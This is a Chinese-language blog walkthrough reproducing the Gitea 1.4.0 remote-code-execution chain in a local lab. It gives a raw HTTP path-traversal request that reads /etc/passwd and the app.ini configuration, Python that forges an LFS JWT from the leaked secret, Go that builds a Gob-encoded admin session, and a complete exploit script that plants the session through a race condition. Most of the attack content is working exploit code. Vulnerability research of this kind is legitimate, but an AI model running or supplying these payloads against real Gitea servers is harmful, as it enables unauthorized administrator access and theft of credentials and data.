参考文献 :
https://github.com/vulhub/vulhub/tree/master/gitea/1.4-rce
http://blog.nsfocus.net/gitea-1-4-0-rce/
https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html
gitea安装:https://www.moerats.com/archives/578/
Git LFS
Git 大文件存储(简称LFS),目的是更好地把大型二进制文件,比如音频文件、数据集、图像和视频等集成到 Git 的工作流中。LFS 处理大型二进制文件的方式是用文本指针替换它们,这些文本指针实际上是包含二进制文件信息的文本文件。文本指针存储在 Git 中,而大文件本身通过HTTPS托管在Git LFS服务器上。
搭建gitea
版本:gitea1.4.01
2
3wget -O gitea https://dl.gitea.io/gitea/1.4.0/gitea-1.4.0-linux-amd64
chmod +x gitea
./gitea web
环境启动后,访问http://you-ip:3000
,进入安装页面,填写管理员账号密码,并修改网站URL,其他的用默认配置安装即可。安装完成后,创建一个公开的仓库,随便添加点文件进去。
目录穿越漏洞
未授权的任意用户都可以为某个项目创建一个Git LFS
对象。这个LFS对象可以通过http://example.com/vulhub/repo.git/info/lfs/objects/[oid]
这样的接口来访问,比如下载、写入内容等。其中[oid]是LFS对象的ID,通常来说是一个哈希,但gitea中并没有限制这个ID允许包含的字符。发送一个数据包,创建一个Oid为....../../../etc/passwd
的LFS对象:
- POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19POST /sheng/repo.git/info/lfs/objects HTTP/1.1
Host: 192.168.8.134:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: application/vnd.git-lfs+json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: lang=zh-CN; i_like_gitea=b82d4cc1b92e5a61; _csrf=-e57Y5iPxeHfOnbGxVQlzpxORFA6MTU0NDA4NDUxNDkwNDE0MzIzMA%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 153
{
"Oid": "....../../../etc/passwd",
"Size": 1000000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
}
- 访问创建的文件
1
/test/poc.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth
读取配置文件,构造JWT密文
读取gitea的配置文件。这个文件在$GITEA_CUSTOM/conf/app.ini
,$GITEA_CUSTOM
是gitea
的根目录,默认是/var/lib/gitea/
,我自己安装的是在custom
里面,所以需要构造出的Oid是 ....custom/conf/app.ini
(经过转换后就变成了/gitea/lfs/../../custom/conf/app.ini
,也就是/custom/conf/app.ini
。)
Gitea中,LFS的接口是使用JWT认证,其加密密钥就是配置文件中的LFS_JWT_SECRET
。可以构造JWT认证,进而获取LFS完整的读写权限。
需要安装的模块
1
2pip install PyJWT
pip install jwt生成密文
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import jwt
import time
import base64
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
jwt_secret = decode_base64('e7AeKD-eaj5ZpbllKkeG3JyjqYfVbDazSSNvRl-1V9E') #读取到的密钥
public_user_id = 1
public_repo_id = 1
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
#public_user_id是项目所有者的id,public_repo_id是项目id,这个项目指LFS所在的项目;nbf是指这个密文的开始时间,exp是这个密文的结束时间,只有当前时间处于这两个值中时,这个密文才有效。
token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')
token = token.decode()
print(token)
伪造session提升权限
LFS中的路由接口
1 | transformKey(meta.Oid) + .tmp 后缀作为临时文件名 |
gitea中是用流式方法来读取数据包,并将读取到的内容写入临时文件,可以用流式HTTP方法,传入我们需要写入的文件内容,然后挂起HTTP连接。这时候,后端会一直等待我传剩下的字符,在这个时间差内,Put函数
是等待在io.Copy
那个步骤的,当然也就不会删除临时文件了。
在Gitea可以配置存储session的方式,默认是保存为文件,存储路径在/data/gitea/sessions
,我的是data/sessions
。把上面生成的session内容写入到一个.tmp
文件,并保存在session目录下,这个tmp文件名即为sessionid
,然后利用条件竞争,在文件未被删除之前带上这个sessionid,就可以登录成功。session文件名为sid[0]/sid[1]/sid
,且对象被用Gob序列化后存入文件
生成一段Gob编码的session:(在线运行环境)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26package main
import (
"fmt"
"encoding/gob"
"bytes"
"encoding/hex"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
#uid是管理员id,uname是管理员用户名
obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "sheng" }
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}p神最终的利用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51import requests
import jwt
import time
import base64
import logging
import sys
import json
from urllib.parse import quote
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
BASE_URL = 'http://192.168.8.134:3000/sheng/repo'
JWT_SECRET = 'e7AeKD-eaj5ZpbllKkeG3JyjqYfVbDazSSNvRl-1V9E'
USER_ID = 1
REPO_ID = 1
SESSION_ID = '11sheng'
#上面生成的session数据。
SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005bff82000306737472696e670c070005756e616d6506737472696e670c0700057368656e6706737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e74363404020002')
def generate_token():
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
return token.decode()
def gen_data():
yield SESSION_DATA
time.sleep(300)
yield b''
OID = f'....data/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
'Accept': 'application/vnd.git-lfs+json'
}, json={
"Oid": OID,
"Size": 100000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
})
logging.info(response.text)
response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
'Accept': 'application/vnd.git-lfs',
'Content-Type': 'application/vnd.git-lfs',
'Authorization': f'Bearer {generate_token()}'
})
将伪造的SESSION数据发送,并等待300秒后才关闭连接。在这300秒中,服务器上将存在一个名为11sheng.tmp
的文件,这也是session id
。